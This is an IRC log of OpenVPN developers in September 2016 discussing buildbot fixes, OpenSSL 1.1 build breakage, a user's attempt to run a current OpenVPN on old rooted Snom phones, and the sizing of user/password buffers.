<+krzee> !master 08:35 <+krzee> !git 08:35 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn, or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing, or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/, or (#4) See !git-doc how to use git, or (#5) git troubles? http://justinhileman.info/article/git-pretty/git- 08:35 <@vpnHelper> pretty.png, or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr, or (#7) http://xkcd.com/865/ 10:17 <@vpnHelper> RSS Update - tickets: #739: Make installation of openvpnserv2 look less scary <https://community.openvpn.net/openvpn/ticket/739> 10:42 <@cron2> re from the gate 10:48 <@cron2> plaisthos: I think your buildslave might still have a dangling openvpn connection from the times of t_client brokenness (so the "IPv6 ping test succeeded, but needs to *fail*" messages) 10:55 <@cron2> shall we aim for 2.4_alpha1 release on Oct 15? 12:30 -!- Netsplit *.net <-> *.split quits: @plaisthos, @syzzer, @vpnHelper, @dazo, @cron2, s7r, +krzee 12:32 -!- Netsplit over, joins: @syzzer, @vpnHelper, @cron2 12:32 -!- ServerMode/#openvpn-devel [+oooo cron2 syzzer d12fk vpnHelper] by morgan.freenode.net 12:32 -!- Netsplit over, joins: s7r, +krzee, @plaisthos, @dazo 12:56 <+krzee> https://gist.github.com/anonymous/1e1d11ccec543587de3860a74914a39a 12:56 <@vpnHelper> Title: gist:1e1d11ccec543587de3860a74914a39a · GitHub (at gist.github.com) 12:56 <+krzee> am i doing something wrong? trying to build openvpn master 14:20 <@d12fk> krzee: do you have automake installed? 14:32 <+krzee> now i do and instead i get stuck at https://gist.github.com/anonymous/8e669d881559afe05359c4206ff2aab3 14:32 <@vpnHelper> Title: gist:8e669d881559afe05359c4206ff2aab3 · GitHub (at gist.github.com) 14:35 <@d12fk> krzee: libtool 15:07 <@d12fk> hackathon payed off multisocket runs for tcp again, now onto udp 15:09 <@cron2> wo-hoo! 15:16 <@vpnHelper> RSS Update - gitrepo: Fix win32 building with C99 mode <https://github.com/OpenVPN/openvpn/commit/6cd7e08d89cc9c39d00989866fb4782d5e7041dc> 15:22 <@cron2> (as a side note - seems i only get commit points on github if one of you breaks something. So, please go ahead with this!) --- Day changed Mon Sep 19 2016 06:04 < Hes> I hope you had fun here, seems like productivity was OK at least! 06:12 <@cron2> we had fun, *and* we got quite a bit of work done - it was a great weekend :-) 06:12 <@cron2> (some of the work visible in a commit spike, but more work done in make buildslaves great again, etc.) 09:22 <+krzee> make buildslaves great again lol 10:47 <@cron2> 'twas quite a bit of work to fiddle with the setup until all variants compile on all OSes *plus* succeed in "make check" with full t_client test :) 12:36 < slypknot> ecrist: https://forums.openvpn.net/viewtopic.php?f=31&t=22464 12:36 <@vpnHelper> Title: WARNING: can't open config file: /etc/ssl/openssl.cnf - OpenVPN Support Forum (at forums.openvpn.net) 14:00 <@ecrist> yeah, it's low on my list, maybe I'll poke at it tongith. 14:00 <@ecrist> tonight* 14:00 <@ecrist> I should get that email archive server going, too 14:32 < Hes> Sorry I couldn't take part on the weekend, had to work on the apartment to put it in selling condition, plus right at the time of the dinner, had another booking on stage (https://dl.dropboxusercontent.com/u/37346897/straightryeband-20160917.jpg). 15:02 < slypknot> ecrist: just a gentle reminder ;) 15:02 < slypknot> Hes: Rockin dude :D 15:49 <@cron2> Hes: still nice meeting you on Friday 15:49 <@cron2> always good to have met in person 17:12 < andi-m> hi. can someone give the user saerdnaer edit rights in at https://community.openvpn.net/openvpn/wiki/ – thanks in advance 17:12 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 18:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 18:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Tue Sep 20 2016 02:35 <@mattock> plaisthos: people on GitHub are asking how to build and integrate OpenVPN 3 to their application: https://github.com/OpenVPN/openvpn3/issues/1 02:35 <@vpnHelper> Title: build for iOS · Issue #1 · OpenVPN/openvpn3 · GitHub (at github.com) 02:36 <@cron2> mattock: but that question is about iOS... 02:37 <@mattock> yes, and how to build it on iOS 02:37 <@mattock> How can I integrate it with NEVPNManager or something else? 02:37 <@mattock> anyways, pinged @jamesyonan 02:37 <@mattock> oh yes, my mistke 02:38 <@mattock> OSX != iOS :D lol 02:39 <@cron2> indeed :) 02:39 <@mattock> anyways, plaisthos is the best person to answer that question on the community side anyways 02:40 <@mattock> two anyways, probably it's just too early for me :D 02:41 <@mattock> so today I'll work a bit more on the buildmaster (the opensolaris cmocka thing, documentation, additional buildslave tests for my buildslaves, new buildslaves, etc) 02:49 <@cron2> great 02:50 * cron2 needs to get a talk done for *next* weekend (EuroBSDcon), but will look at some patches 03:43 <@mattock> cron2: so opensolaris buildslave no longer inits cmocka, but the error at the end of the build remained the same 03:44 <@cron2> well, it has been initialized, so the files remain... I'll go and remove all the build dirs and then let's see :-) 03:45 <@mattock> ok 03:45 <@mattock> I'm thinking of scrapping the fancy "generate unique combinations of configure flags" code from buildmaster, as we only have like 6 (3*2*1) combinations now 03:46 <@mattock> due to those the code has to do much of the same stuff twice (unless refactored quite a bit) 03:46 <@mattock> previously we had tons of configure flag combination, but those were mostly replaced with hand-picked combinations that "make sense" 03:47 <@cron2> sounds good 03:47 <@cron2> re-running opensolaris build now... 03:57 <@cron2> mmmh, still failing... 03:57 <@cron2> meeeh 03:57 <@cron2> grrr 03:57 * cron2 actually talked to david about "I never used grep -q for such a construct"... 03:57 <@cron2> grep: illegal option -- q 03:58 <@cron2> from the man page: "Shell scripts intended to be portable to traditional grep should avoid both -q and -s and should redirect output to /dev/null instead." 04:02 <@mattock> ah 04:02 <@cron2> will send a patch ASAP 04:03 <@cron2> (and we did not see this when committing the original patch because the cmocka stuff exploded earlier :-/ ) 04:34 <@cron2> patch on the list 04:48 <@dazo> cron2: I'll tackle the grep patch now 04:51 <@cron2> dazo: thanks 04:53 <@dazo> don! 04:53 <@cron2> so. Hopefully all green now... *hope* 04:53 <@vpnHelper> RSS Update - gitrepo: Fix t_client runs on OpenSolaris <https://github.com/OpenVPN/openvpn/commit/38f98fdccd3eb6995b972fabb0ce4e00d3e3cb76> 04:54 <@dazo> := 04:54 <@dazo> :) 04:56 <@dazo> It's a pity gnu-grep isn't called ggrep (or something similar) and when linked and executed as 'grep', the GNU extensions would be invalid - and not just grep, most of GNU stuff ... that would have helped so much in so many cases 04:56 <@cron2> that would make it much easier to spot GNU extentions, yeah 05:40 <@cron2> wo-hoo! 05:40 <@cron2> all green, except for the plaisthos t_client tests (and I assume that these are "stuck openvpn processes" that need manual action by plaisthos) 05:41 <@dazo> nice! 05:41 <@dazo> [OT] https://twitter.com/valarauca1/status/771192081368817664 ... /bin/cat .... 05:41 <@cron2> indeed :) (we are cheating a bit - the BSD buildslaves do not execute --multihome tests right now, but then, this is somewhat of a niche feature - "basic functionality" is all good) 07:31 <@dazo> lev__: I'm back at the RFC, and had a time to dig deeper into your peer-id documentation. Great work! Would you mind expending the "Disabled peer-id section", now that your patch have been applied? 09:04 <@mattock> cron2: I refactored buildmaster's master.cfg significantly (310 -> 195 lines) and tested it without actual slaves on a different port 09:04 <@mattock> the builder names should remain 100% the same (including configure option order) 09:05 <@mattock> do you mind if I now move the new config to production for proper testing? 09:05 <@mattock> primarily to see that the build steps match those that were used previously 09:15 <@cron2> go for it 09:16 <@mattock> ok 09:26 <@d12fk> dazo: if you need reviewers count me in, desperate about understanding more about the protocol 09:45 <@mattock> cron2: done, tested all the corner cases I could think of an could not see any regressions 09:45 <@mattock> a full build might of course reveal something I overlooked 09:54 <@cron2> we'll find something to commit and break :) 09:55 <@mattock> :D 09:56 <@mattock> I was rather surprised how smoothly the refactoring went, so something probably is horribly wrong there :) 10:04 <@dazo> d12fk: cool! We will definitely need that :) 10:31 <+krzee> i hereby place a USD $400 bounty on a compile of openvpn master + polarssl that runs on my armv5 / armv6 phones, i can supply root on them if it helps. https://gist.github.com/anonymous/4fde0805753fcd2acbf74ece8fb81596 10:31 <@vpnHelper> Title: gist:4fde0805753fcd2acbf74ece8fb81596 · GitHub (at gist.github.com) 10:35 <@cron2> what OS is running on the phones? 10:36 <+krzee> the link has the exact linux kernel versions 10:36 <+krzee> 2.6.x 10:37 <@cron2> well, but what above? android? 10:37 <@cron2> oh, snom 10:37 <+krzee> no the android is good 10:37 <+krzee> im not sure what distro these are from, some embedded linux i guess 10:38 <+krzee> i understand how to unpack the firmwares tho 10:38 <+krzee> and i have root on them 10:42 < Thermi> Those kernels are ancient 10:42 < Thermi> Those must be from a museum 10:42 <+krzee> the same museum that has these phones running openvpn 2.2.2 on their newest firmware 10:42 <+krzee> with openssl version OLDSAUCE 10:46 <+krzee> in fact, http://forum.snom.com/index.php?showtopic=15138#entry47446 10:46 <@vpnHelper> Title: vulnerable ssl in the snoms - General topics - snom Forum (at forum.snom.com) 10:47 <+krzee> i told them about it like 1.5 yrs ago, and not only have they made no updates to the software, but they closed down their web forum and their new help desk is only for their resellers :X 10:49 <@cron2> meh 12:11 <+krzee> oh and here is how i unpack their firmwares, if that matters to anybody: https://gist.github.com/anonymous/9e5fa1f321e2969e90e54bd400207dc5 12:11 <@vpnHelper> Title: gist:9e5fa1f321e2969e90e54bd400207dc5 · GitHub (at gist.github.com) 12:11 <+krzee> i figured that out 2 nights ago =] 12:13 < Thermi> That RSA key is curiously short 12:13 <+krzee> after my above forum post that should surprise nobody 12:14 < Thermi> It's just 1024 bit 12:14 < Thermi> I guess you could bruteforce that with a couple of PCs 12:14 <+krzee> if it was needed, ya probably 12:15 < Thermi> https://www.schneier.com/blog/archives/2008/06/kaspersky_labs.html 12:15 <@vpnHelper> Title: Kaspersky Labs Trying to Crack 1024-bit RSA - Schneier on Security (at www.schneier.com) 12:15 < Thermi> From 2008 12:15 <+krzee> but those commands and that file is all that is needed to extract the firmware 12:15 < Thermi> Yes. 12:15 <+krzee> ya i remember the facthacks talk where djb and others talk about factoring rsa 1024 12:16 <+krzee> https://www.youtube.com/watch?v=IuSnY_O8DqQ 12:22 <+krzee> that kapersky link doesnt seem very good actually --- Day changed Wed Sep 21 2016 00:21 <@d12fk> krzee: whats the problem? 00:23 <+krzee> problem? 00:25 <+krzee> d12fk: the versions i have are hella old, would like newer for security reasons but the manufacturer's latest firmware includes 2.2.2 (as i wrote about at https://secure-computing.net/wiki/index.php/Decompressing_Snom_Firmware ) 00:25 <@vpnHelper> Title: Decompressing Snom Firmware - Secure Computing Wiki (at secure-computing.net) 00:27 <+krzee> iirc syzzer thinks his last attempt didnt work because of the phone using such old libs 00:27 <+krzee> the entire inside of the phone is a time warp to like 2010 00:29 <+krzee> however, there is a toolchain and sources and stuff on their gpl compliance site, and i do have root on both of them 00:32 <@d12fk> so your problem is that it doesnt compile with the 2010 libc? 00:39 <+krzee> i dont understand code enough to be confident in knowing the problem =/ 00:39 <+krzee> but i think thats what he was thinking 00:39 <+krzee> oh no it did compile tho 00:40 <+krzee> rebooted one of the phones when trying to execute it 00:41 <+krzee> other didnt crash and i was able to get gdb on the phone, i think that helped him decide it may be old libs 00:44 <@d12fk> why would the phone reboot when you run a binary? do they have some kind of code signing in place? 00:44 <@d12fk> can you run a hello world? 00:44 <+krzee> no code signing, im sure of that, i load a bunch of stuff from an ipkg server i found awhile back 00:45 <+krzee> which is 100% unrelated to the manufacturer of the phone 00:45 <@d12fk> ok, do you have strace on it? 00:45 <+krzee> yessir, i can 00:46 <+krzee> even gdb 00:47 <+krzee> btw i use this to get ipkg running: http://buffalo.nas-central.org/wiki/Ipkg_on_the_Linkstation_(for_end-users) 00:48 <+krzee> specifically this: http://ipkg.nslu2-linux.org/feeds/optware/cs05q3armel/cross/stable/teraprov2-bootstrap_1.2-7_arm.xsh 00:49 <+krzee> note that my device has nothing to do with the devices mentioned in that page 00:50 <+krzee> their packages just happen to work for me =] 00:50 <@d12fk> yeah i know snom phones 00:50 <+krzee> oh cool 00:50 <@d12fk> what kernel version is this 00:51 <+krzee> https://gist.github.com/anonymous/4fde0805753fcd2acbf74ece8fb81596 00:51 <@vpnHelper> Title: gist:4fde0805753fcd2acbf74ece8fb81596 · GitHub (at gist.github.com) 00:51 <+krzee> SNOM 760: 00:51 <+krzee> Linux (none) 2.6.37+ #1490 PREEMPT Tue May 6 11:07:43 CEST 2014 armv6l unknown 00:51 <+krzee> SNOM 821: 00:51 <+krzee> Linux (none) 2.6.19.2 #37 Tue Nov 9 18:08:31 CET 2010 armv5tejl unknown 00:51 <+krzee> Sign up for free 00:51 <+krzee> oops copied 1 too many haha 00:52 <@d12fk> hehe, and does cat /proc/sys/kernel/core_pattern yield anything? 00:53 <+krzee> core 00:53 <+krzee> if you'd like to see the inside of them let me know and ill get you on them, but i dont mind relaying anything 00:53 <@d12fk> not much time currently, but you could try running strace 00:54 <+krzee> on the one that syzzer made? 00:55 <+krzee> i should have that and the gdb output somewhere, let me look for them 00:58 <@d12fk> ah nice 01:03 <+krzee> nope i was wrong, but i will gather both now 01:06 <+krzee> do you want me to just run strace openvpn /path/to/config and gather all the output? or anything special? 01:07 <@d12fk> -ff makes sense i think 01:08 <+krzee> want me to use daemon or a certain verb? it dies after verifying the server cert 01:09 <@d12fk> no nothing special. do the binaries have debug symbols? then a backtrace from gdb would be nice 01:10 <+krzee> i dont know if they do or not, i dont know how to check either 01:10 <+krzee> but i have gdb 01:11 <@d12fk> and can you analyze the segfault in gdb or does the snom reboot right away 01:11 <+krzee> oh im doing this on the one that doesnt reboot 01:11 <+krzee> takes a lot less time to try again :D 01:12 <@d12fk> they might have just hacked the kernel to reboot on any sigsegv 01:12 <@d12fk> kind of makes sense on a phone 01:13 <@d12fk> have you tried with openssl? 01:13 <+krzee> tried what with openssl? 01:13 <@d12fk> openvpn+openssl instead of mbed 01:13 <+krzee> no 01:14 <+krzee> well unless he did and didnt mention it 01:14 <+krzee> prolly not tho since i had specified i preferred mbed 01:14 <@d12fk> maybe worth a try. if the crash happens right after cert validaion it might happen in mbed code 01:14 <@d12fk> never did anything with mbed, so it is just a guess 01:17 <+krzee> https://gist.githubusercontent.com/anonymous/8f11755e74c360631574c8c1b436e612/raw/aef2f8f94d91718543c624b39a50075f13144590/gistfile1.txt 01:18 <+krzee> thats the strace 01:19 <+krzee> as for gdb, i just run gdb and then the command? 01:19 <+krzee> like with strace? 01:22 <+krzee> openvpn isnt crashing so im not getting a .core file or anything 01:22 <+krzee> it freezes after verifying, then it times out 01:24 <+krzee> the 2 phones stay connected to a server of mine via vpn, listening on ssh 01:24 <@d12fk> strange, it get stuck in a loop as there's no io wait happening 01:25 <@d12fk> does it burn cpu whilein that state 01:25 <@d12fk> I'd try openvpn with openssl next if I were you 01:26 <@d12fk> gotta run. ttyl 01:26 <+krzee> yes 01:26 <+krzee> 100% cpu while stuck 02:05 <@d12fk> yeah then you can find out in what function it's stuck with gdb 02:06 <@d12fk> just gdb /usr/sbin/openvpn 02:06 <@d12fk> and then in gdb: c /path/to/cfg 02:07 <@d12fk> no, rather: r /path/to/cfg 02:24 <+krzee> (no debugging symbols found) 02:25 <+krzee> oh hah that was the original openvpn binary 02:26 <+krzee> This GDB was configured as "arm-none-linux-gnueabi"... 02:26 <+krzee> Dwarf Error: wrong version in compilation unit header (is 4, should be 2) [in module /snom/snomconfig/openvpn/openvpn-arm] 02:26 <+krzee> Starting program: /snom/snomconfig/openvpn/openvpn-arm /openvpn/vpn.cnf 02:26 <+krzee> (no debugging symbols found) 02:26 <+krzee> (no debugging symbols found) 02:26 <+krzee> Program exited normally. 05:40 < lev__> dazo: according to James's spec, server might decide to use DATA_V2 format without peer-id functionality 05:44 < lev__> in this case server sends peer-id -1 (= 0xFFFFFF) which means that when server receives DATA_V2 packet with it, peer-id functionality (=floating) not used 09:11 < Thermi> dazo: What's the outcome of the licensing problem I had? Was it discussed with John? 09:11 < Thermi> *James 10:26 <@mattock> Thermi: we will relicense the header file using the MIT license 10:26 <@mattock> that is sufficient, right? 10:27 < Thermi> mattock: Thank you for doing that. Yes, that is sufficient. 10:52 <@mattock> ok 10:52 <@mattock> I'll try to get the thing done this week 14:01 <@dazo> Thermi: Yes, it was discussed! We agreed that tap-windows.h can have a more permissive license, and James "owns" that task ... I'll follow him up and hope this will be sorted out very soon 14:01 <@dazo> I hoped he would arrange that during the weekend, but he probably got side-tracked with other discussions 14:02 <@dazo> hmmm .... now I got mattock's two last log lines ... and see in my bouncer log more was said 14:43 < valdikss> https://github.com/beatcracker/OpenVPN-Detour 14:43 <@vpnHelper> Title: GitHub - beatcracker/OpenVPN-Detour: Kludge for OpenVPN clients that cant handle large amount of pushed routes (at github.com) 14:43 < valdikss> >This solution is tested with Asus WL500W router: it takes about 1 hour to push all the routes, but afterwards it works fine. 14:45 < valdikss> I should probably make a patch for OpenVPN to use netlink directly 15:32 <@cron2> valdikss: we've considered that idea and generally are in favour of it (netlink) just nobody had time for it, and it was not "high prio" 15:38 < Thermi> cron2: If you ever get around to doing it, "just" look at how strongSwan does it. It's just perfect 22:44 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel --- Day changed Thu Sep 22 2016 03:49 <@cron2> Thermi: now that's an interesting statement, a programmer that looks at a piece of code and calls it "just perfect" :-) 03:58 < danhunsaker> I don't know that I've ever done *that*... 03:58 < danhunsaker> Which is to say, interesting indeed! 05:24 <@dazo> My code is always perfect when I go to bed in the evening. Somehow it most commonly becomes a complete mess when I wake up in the morning again 05:24 <@dazo> (evening => rather night) 05:37 <@cron2> how's the memory impact of your patch? aka "is a struct user_pass lying around in memory all the time, or is it only temporarily needed"? 05:38 <@cron2> (and I wonder if this should be aligned with the max line limit on the management interface... and why we would ever need *4k*, with or without PKCS#11...) 05:42 <@cron2> dazo: (highlight) - these questions are for you :) 06:27 <@dazo> I honestly don't know why the limit is set to 4KB for PKCS#11 ... but I believe those fields can be used for the challenge/response part as well (I vaguely remember having seen some odd #ifdefs related to this too) 06:27 <@dazo> I think James is the one to be able to answer that question though 06:28 * dazo double checks the struct user_pass ussage 06:29 <@dazo> wtf!? struct user_pass is used in tun.c ....... 06:30 <@dazo> (ahh, Android code paths) 06:31 <@dazo> plaisthos: is the struct user_pass up; declaration really needed in open_tun()? (tun.c:1644) ... doensn't seem to be used afaict 06:34 <@dazo> socks.c: socks_username_password_auth() (allocated on the stack) 06:35 <@dazo> proxy.c: static_proxy_user_pass .... global variable within that scope 06:38 <@dazo> ssl.c: global within that scope: passbuf, auth_user_pass ... key_method_2_read() temporary heap allocation ... 06:40 <@dazo> pkcs11.c: _pkcs11_openvpn_token_prompt(), _pkcs11_openvpn_pin_prompt(), tls_ctx_use_pkcs11() ... each allocates one struct on the stack 06:41 <@dazo> management.c: management_android_control(), managment_android_persisttun_action(), each doing a stack allocation 06:44 <@dazo> management.h: struct man_persist, struct man_settings, man_connection have one struct user_pass member each ... need to look further into how these structs are used 06:45 <@dazo> init.c: context_init_1() allocates one struct user_pass on the stack 06:45 <@dazo> cron2: ^^^ 06:47 <@dazo> disregarding management.h ... the memory usage grows by ~11.5KiB 06:47 <@dazo> (globals) 06:48 <@cron2> usually I get told that embedded systems need to be taken care of... so I'll take a more close look here, and see if we really need 4K, and username *and* password 06:49 <@cron2> btw, the 4K is also for username, not only password, so "one instance" brings 7.5 KiB extra memory usage 06:50 <@dazo> right ... I see that the pkcs11 code paths have some tokens it can pass back and forth, which uses this struct too 06:50 * cron2 summons a syzzer to shed light on pkcs11 requirements... 06:51 <@dazo> Of course we could just do increase 128 to 1024 or 2048 ... but that is just plain band-aid, as servers and clients might not have the same sizes ... which is why I want to see the same sizes on both sides, regardless of PKCS#11 06:55 * dazo need to grab some food now 06:55 <@cron2> right, but "unconditionally increase to 4k" isn't going to fix pre-change clients either, so "make it something reasonable, and then unconditional" sounds more like it... 06:56 <@cron2> if management interface is limited to 256, this sounds like "quite a bit of cleaning up and making uniform" to do 06:56 <@dazo> agreed 06:57 <@dazo> clearly I didn't look too carefully on how this was used in the proxy and socks code ... but I didn't realise it was such an uncoordinated code 06:57 <@mattock> uh, adding ubuntu-1604-amd64 buildslave was way too easy (puppet module did all the work with zero issues) 06:57 <@dazo> (or "mess", if you prefer ;-) ) 06:57 <@mattock> fortunately fedora-24-amd64 is missing unit file for buildslave, so it will be trickier :P 07:04 <@mattock> hmm, actually not, because monit is already monitoring buildslave's pidfile, so I'll just let it start it on boot 07:04 <@mattock> at worst there's a three-minute wait on reboot 07:04 <@cron2> nice 10:22 < mator> does latest git compiles? i have error compiling it http://paste.debian.net/835149/ 10:22 <@cron2> what openssl version is this? 10:23 <@cron2> (in other words, it compiles perfectly well for us, with 0.98 and 1.0 versions of openssl) 10:25 <@mattock> perhaps openssl-1.1.x? 10:27 <@mattock> I think I'll discontinue the ubuntu-1204-i386 buildslave - the filesystem ran out of inodes, and there are two LTS support versions being tested already (14.04 and 16.04) 10:44 <@cron2> you could just clean up the build dir, that will bring back LOTS of inodes :) 10:45 <@cron2> (but indeed, it does not really make sense to keep yet another ubuntu variant) 10:45 <@mattock> I did, but that did not solve the problem 10:45 <@mattock> there were no useless build directories, so the problem came back 10:46 <@dazo> mator: It compiles fine on my systems ... but as cron2 asks, which OpenSSL version do you have? 11:01 <@mattock> actually it was a typical ubuntu problem: too many kernel packages pulling in too many kernel header packages -> out of diskspace and/or inodes 11:03 < danhunsaker> It does stubbornly refuse to get rid of old kernels. 11:05 < danhunsaker> (though there's actually an autoremove switch to dist-upgrade that will convince it to do so anyway...) 11:06 < danhunsaker> (if you wanted to sneak into the automatic update script and add it...) 11:07 <@mattock> we do autoremove old kernels on the openvpn tech servers (integrated with monit), but the buildslaves are on my own server, which lacks the same monitoring 11:08 <@mattock> monit has saved our asses countless of times from "Disk is full" errors by either notifying us, or taking proactive action 11:18 <@mattock> now all of my buildslaves run tests 1, 2, 3, 4, 5 and 6 (no "a" variants due to "no IPv6 connectivity") 11:19 <@mattock> all tests show green 11:41 < valdikss> https://github.com/slingamn/namespaced-openvpn 11:41 <@vpnHelper> Title: GitHub - slingamn/namespaced-openvpn: Wrapper for OpenVPN on Linux solving various privacy issues (at github.com) 12:18 <@dazo> gee ... you guys need to start appreciate the simplicity of RHEL :-P 12:18 * dazo ducks 12:20 < danhunsaker> Did... Did you seriously just use the word "simplicity" to describe *RHEL*???!!!!! 12:22 <@dazo> Yes! Anything else is a mess :-P 12:23 < danhunsaker> ..... Wow. 12:23 < danhunsaker> I'm gonna replace your desktop with Gentoo for that. 12:24 <@dazo> uhoh ..... good I only have a laptop! 12:24 < danhunsaker> Even better. 12:24 < danhunsaker> (I have several of each, so I sometimes generalize...) 12:26 <@dazo> :) 12:27 <@dazo> I have still nightmares of my Gentoo laptop ... and even Ubuntu laptop 12:27 <@dazo> I went from opensuse to Ubuntu, as suse made my wifi did a very effective DoS against the office WLAN router (it had to be rebooted when I turned on wifi) 12:28 <@dazo> and then I ditched Ubuntu after a year, as each blo**y update broke something .... and the last thing it broke was decrypting /home during boot 12:29 <@dazo> since then I've used Fedora .... until I got tired of too often reinstalls, so I went for RHEL (on work laptops) and Scientific Linux on private equipment 12:29 <@dazo> never been happier :) 12:29 <@dazo> (oh, before Gentoo, I've used Root Linux, Crux and of course outdated Slackware boxes) 12:31 < danhunsaker> Things appear to have gotten better on the Ubuntu bloat side in recent years. But fair. 12:31 <@dazo> mattock: sorry for bitching at you for logging to /etc ... just too many reads such controls you did as recommendations :/ 12:32 <@dazo> danhunsaker: it might also help that I do have an RHCE, plus a couple of other certifications too .... including SELinux Policy management 12:33 < mator> cron2, mator@ttip:~/openvpn$ dpkg -l openssl 12:33 < mator> ii openssl 1.1.0-1 sparc64 Secure Sockets Layer toolkit - cryptographic utility 12:34 < mator> (debian sid here) 12:34 < mator> unstable (sid) 12:34 < danhunsaker> RedHat (final pre-RHEL), Fedora (early Core, when things just simply didn't function at all, yet), Slackware (two or three different flavors, back when it wasn't outdated at all), Gentoo (stayed there for YEARS quite happily), and now, most recently, Ubuntu. Wasn't until Ubuntu that I was able to fully switch away from Windows. 12:35 <@dazo> Yeah, that I can truly believe .... Ubuntu have done great things for usability 12:36 <@dazo> I have a love/hate relation to the 10 years support cycle on RHEL ... on servers it is truly wonderful. I've never had any issues with 30-40++ servers I've configured over the years (Gentoo and Slackware servers on the other hand ....) 12:37 <@dazo> But on the desktop RHEL can get old quite quickly .... even though, they do more version rebases on the desktop side nowadays it seems .... GNOME3 got a massive update with 7.2 12:38 < danhunsaker> To be fair, Gentoo is designed for bleeding edge rather than version-stable. 12:38 <@dazo> yeah 12:38 < Thermi> Just use Arch. 12:38 < Thermi> (On personal devices) 12:38 <@dazo> but I worked in a company which had 5-6 Gentoo boxes in production 12:38 < danhunsaker> Still, portage needs a lot of help with time-spaced updating. 12:39 <@dazo> Even passed several PCI-DSS certifications, due to the low package footprint and transparency on the config 12:44 < valdikss> Thermi: arch doesn't support selinux/apparmor/grsecurity by default 12:44 < Thermi> valdikss: And you need it? 12:44 < Thermi> by default? 12:45 <@cron2> mator: openssl 1.1.x is sufficiently incompatible to 1.0.x that it needs changes in about all software (openssl won't compile with it either). We have not done that yet 12:45 < Thermi> "(openssl won't compile with it either)." :D 12:45 < Thermi> openssl doesn't compile with openssl 12:45 < Thermi> NOW we broke the software 12:46 <@cron2> openssh 12:46 < valdikss> Thermi: yes, I switched to fedora from arch because of this 12:46 * cron2 <- gentoo and freebsd, and both suck. But package based systems suck as well, have used RH Linux and SuSE for the longest time... 12:47 < danhunsaker> Gentoo supports ALL THE THINGS. But you have to wait for them to compile, first. 12:48 < Thermi> valdikss: I see. 12:48 < valdikss> cron2: I know that feel. You'll die till find proper documentation for making debian packages, diving into enormous outdated utilities and text from Debian Women 12:49 < valdikss> cron2: You'll hate knowing that there's no way to change SRPMs unpacking path, and everything is always unpacked to $HOME/rpmbuild 12:49 <@dazo> On my old Gentoo laptop, there was a really annoying bug in OpenOffice ... so I compiled it through emerge (instead of using the precompiled binary) ... it took 6 hours ... but I've never used any faster OpenOffice ever since, it reduced the load time with over 50% 12:49 < valdikss> Everybody knows shit's fucked 12:50 < Thermi> Gentoo is when you need your own buildservers 12:50 <@cron2> valdikss: that is news to me... I build RPMS on AIX under /devel/gd/rpm - somewhere in $HOME/.rpminit, if I remember right 12:50 < danhunsaker> Yeah, compiling out the extra crap always helps. And optimizing for your exact architecture is always a huge boost, too. 12:51 < mator> cron2, ok thanks 12:56 <@dazo> valdikss: %_topdir %{getenv:HOME}/rpmbuild ....change it to what you like and save it in ~/.rpmmacros 12:59 <@cron2> ah, there :) 13:44 <@dazo> " 13:44 <@dazo> Perl 5, historically, did not have a switch statement. Perl 6, in its quest to include literally every single language feature ever conceived, sought to remedy this." (wonderful quote!) 13:44 <@dazo> https://eev.ee/blog/2016/09/18/the-curious-case-of-the-switch-statement/ 13:44 <@vpnHelper> Title: The curious case of the switch statement / fuzzy notepad (at eev.ee) 13:56 < danhunsaker> I wonder... Is the Pokémon Company aware there's a site out there called Eevee? 16:39 -!- Netsplit *.net <-> *.split quits: +krzee, s7r, @dazo 16:43 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 16:43 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:43 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 16:43 -!- ServerMode/#openvpn-devel [+vo krzee dazo] by morgan.freenode.net --- Day changed Fri Sep 23 2016 03:48 <@dazo> cron2: Seeing this one on #openvpn ... http://unix.stackexchange.com/questions/311699/openvpn-ipv6-route-traffic-through-server .... will smaller subnets than /64 work? 03:48 <@vpnHelper> Title: debian - OpenVPN IPv6 route traffic through server - Unix & Linux Stack Exchange (at unix.stackexchange.com) 04:27 <@cron2> dazo: test 3, if I recall correctly, is using /112s :-) 04:27 <@cron2> (but we do not support larger-than 120, if I recall correctly, because of coupling of pool and ifconfig - but this needs to be revisited) 05:01 <@dazo> thx, cron2! 05:02 <@dazo> As I have a /48 from he.net, I've configured a /64 for VPNs ... but it's so long ago I barely remember the details 05:03 * dazo still waits for the ISP to roll out proper native IPv6 05:04 <@dazo> (they have support for it, but not in my neighbourhood :/ ... dunno really why, no really good answers from their support) 06:47 <@cron2> sometimes v6 makes me really despair... some parts have been done impressively well, while others are just... not there 06:47 <@cron2> like, fastnetmon (ddos recognition software) - "no v6, because it's complicated" 06:50 <@dazo> yeah .... if our "neighbourhood" would have stayed on the old outdated coax cabled tv/internet (with 100/10Mbit Downlink/Uplink), we would have had IPv6. Instead the "neighbourhood" upgraded to fiber (terminated in each flat), so now I have 100/100Mbit but no IPv6 .... I so wonder why .... Fiber infrastructure not supporting IPv6? Plausible, but I'd say odd in 2016. 06:57 <@cron2> the fiber won't care, but the CPE router might... "stuff with a fiber interface" is enough of a niche that they might get away with not having v6... 06:58 <@dazo> yeah, that's what I meant with "infrastructure" ... just not so "into" that terminology :) 06:59 <@cron2> wrt proxy / auth / caching, this is something plaisthos might be able to help with - he's the one that gets all the weird client configs :) 07:16 <@dazo> yeah ... I'm going to dig a bit deeper into this too ... just wanted to get something out for people to glare at (hence the RFC) 07:18 <@dazo> Even though I'd like to see USER_PASS_LEN set to 256 ... I am a bit scared of doing so too ... I'd be comfortable with 2048 ... as the struct user_pass is used in so many other structs it is really hard to see where it might explode 07:18 <@dazo> so perhaps keeping 4096 and getting rid of all the static memory allocations is a good first step 07:22 <@cron2> see my comment about "packet size" - user+pass is in the same structure as --push-peer-info, and James always tells us "the space there is limited" 07:22 <@cron2> so that's actually an RFC topic as well :-) 07:22 <@dazo> absolutely! 07:22 <@cron2> (protocol RFC, that is) 